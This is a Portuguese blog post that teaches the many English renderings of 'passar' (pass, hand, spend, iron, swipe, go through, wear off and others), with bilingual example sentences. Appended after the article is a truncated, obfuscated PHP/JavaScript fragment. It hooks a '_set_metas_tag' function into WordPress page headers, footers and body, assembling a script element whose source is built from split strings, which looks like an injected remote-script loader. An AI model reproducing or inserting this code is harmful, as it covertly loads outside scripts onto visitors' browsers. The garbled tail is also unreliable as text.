O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

Passar em inglês: como falar?

passar em inglês

Já se perguntou como se falar passar em inglês? Existem diversas maneiras de falar ‘passar’ e hoje eu vou tirar todas as suas dúvidas com relação a isso.

Passar em inglês

O verbo mais comum para falar ‘passar’ é pass que tem muitos significados. Porém existem muitas outras maneiras de falar ‘passar’.

1 – Passar como ‘transferir’ = pass; hand

Para falar ‘passar’ em inglês com o sentido de transferir utilizamos ‘pass’ ou ‘hand’. Este último geralmente tem o sentido de ‘entregar em mãos’’:

Can you pass me the salt, please? (Pode me passar o sal, por favor?)

I managed to hand my camera to my assistant. (Eu consegui passar a câmera para meu assistente.)

2 – Passar como ‘ser aprovado’ = pass

Para falar de certificações, cursos e também ‘passar de ano’ utilizamos ‘pass’ também:

The certificate shows that I passed the course. (O certificado mostra que eu passei no curso.)

3 – Passar como ‘se tornar’ = become; turn into

Para falar ‘passar’ em inglês no sentido de ‘se tornar’ ou ‘passar a ser’ utilizamos ‘turn into’ mais informalmente e mais formalmente ‘become’:

After she won the contest, she turned into a horrible person! (Depois que ela ganhou o concurso, ele passou a ser uma pessoa horrível.)

I believe after these reports everything will become more transparent. (Eu acho que depois desses relatórios tudo vai passar a ser mais transparente.

4 – Passar para frente = pass on

No sentido de transferir alguma coisa para frente, repassar ou perpetuar-se, utilizamos ‘pass on’:

Don’t pass your problems on to your neighbors. (Não passe seus problemas para seus vizinhos.) 

I believe if taxes go up, this rise will be passed on to consumers.  (Acredito que se os impostos subirem, esse aumento será repassado aos consumidores.

5 – Passar um presente para frente = regift

Quando falamos em ‘passar’ em inglês no sentido de um presente que vamos passar para frente, utilizamos ‘regift’:

I got this watch as a gift last week, but since I didn’t like it, I’ll regift it. (Eu ganhei esse relógio de presente semana passada, mas como eu não gostei, eu vou passar para frente.) 

6 – Passar a palavra ‘para frente’ = spread the word 

Para indicar que vamos passar uma informação para frente utilizamos ‘spread the word’. Essa é uma expressão fixa. 

We need to be fully informed to spread the word. (Precisamos estar totalmente informados para passar a palavra.)

7 – Passar como ‘acontecer’;’suceder’ = go on, happen

No sentido de acontecer ou suceder algo, utilizamos ‘happen’ (acontecer) ou mais informalmente ‘go on’. 

I asked him what was going on. (Eu perguntei para ele o que estava acontecendo.)

8 – ‘Passar pro lado’, ‘arrastar’ em smartphones = swipe

Em se tratando de tecnologia, ‘passar’ em inglês geralmente é ‘swipe’ que significa algo como ‘arrastar’: 

No Tinder, se você gostar de alguém, passa para a direita. (On Tinder, if you like someone, you swipe right.)  

9 – Passar tempo = spend; pass (by)

Sempre que se trata de ‘passar tempo’ em inglês usamos ‘spend’ e seu passado é irregular: spent. Já para falar que o ‘tempo passa’ usamos ‘pass (by)’ Vejamos:

Onde você passou o fim de semana? (Where did you spend the weekend?)

Vou passar o Natal com minha família. (I’ll spend Christmas with my family.)

Time passes (by) slowly when you’re bored. (O tempo passa devagar quando você está entediado

10 – Passar como ‘espalhar’ = spread

Para falar, por exemplo, ‘passar manteiga no pão’ ou qualquer coisa parecida, utilizamos ‘spread’ que significa ‘espalhar’: 

My mom loves to spread some jam on her toast. (Minha mãe ama passar geleia na torrada dela.

11 – Passar roupa = iron

Para falar ‘passar roupa em inglês utilizamos a expressão ‘iron’ que significa como substantivo ‘ferro’. E cuidado com a pronúncia [aiârn]:

I hate to iron my clothes. (Eu odeio passar minhas roupas.)

12 – Passar por alguém = pass by; walk by; drive by; go by; fly by 

Se quiser falar ‘passar’ em inglês, você pode usar algum verbo de movimento e ‘by’ como ‘walk by’ (passar andando por alguém), ‘drive by’ (passar dirigindo por alguém) ou ‘fly by’ (passar voando) e na dúvida, você pode utilizar ‘pass by’ ou ‘go by’ que são mais gerais.

I said hello to my neighbor when he walked by. (Eu disse oi para meu vizinho quando ele passou andando).

See that plane that flew by? (Viu aquele avião que passou voando)?

13 – Passar como ‘passar em algum lugar’ = pass by, pop in, drop by

Se quisermos indicar que vamos ‘dar uma passada’ em algum lugar falamos ‘pass by’ e mais informalmente ‘pop in’ e se vamos a casa de alguém podemos usar ‘drop by’(aparecer na casa de alguém).

I’ll just pop in the supermarket, do you want anything? (Eu vou só dar uma passada no supermercado, você quer alguma coisa?) 

Thanks for dropping by, I needed to talk to you. (Obrigado por passar aqui (em casa), eu precisava falar com você.)

14 – Passar por algum lugar ou situação difícil = go through

Especificamente para falar ‘passar dificuldade’ ou ‘atravessar um lugar’ em inglês utilizamos ‘go through’:

You have no idea what I am going through at this moment. (Você não tem ideia do que eu estou passando neste momento.) 

You have to go through customs to enter a new country. (Você tem que passar pela alfândega para entrar em um novo país.) 

15 – Quando queremos falar “passar” em inglês com o sentido de um efeito de alguma substância que vai passar, usamos ‘wear off’. Para doenças e sensações ruins também usamos ‘pass’:

The numbness wears off in 10 minutes. (A dormência vai passar em 10 minutos)

Don’t worry, the pain will pass. (Não se preocupe, a dor vai passar)

16 – Por último, é bom saber que o verbo ‘pass’ tem outros significados que não existem em português: pass (away) que é morrer e ‘pass a law’ que é aprovar uma lei:

After that famous actor passed, the doctors wanted to do an autopsy. (Depois que aquele famoso ator morreu, os médicos quiseram fazer uma autópsia).

The government passed a new law to restrict the sale of guns. (O governo aprovou uma lei que restringe a venda de armas)

Agora que você já sabe tudo sobre como falar ‘passar’ em inglês, você deveria ver outros posts com outras expressões importantes para você. 

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>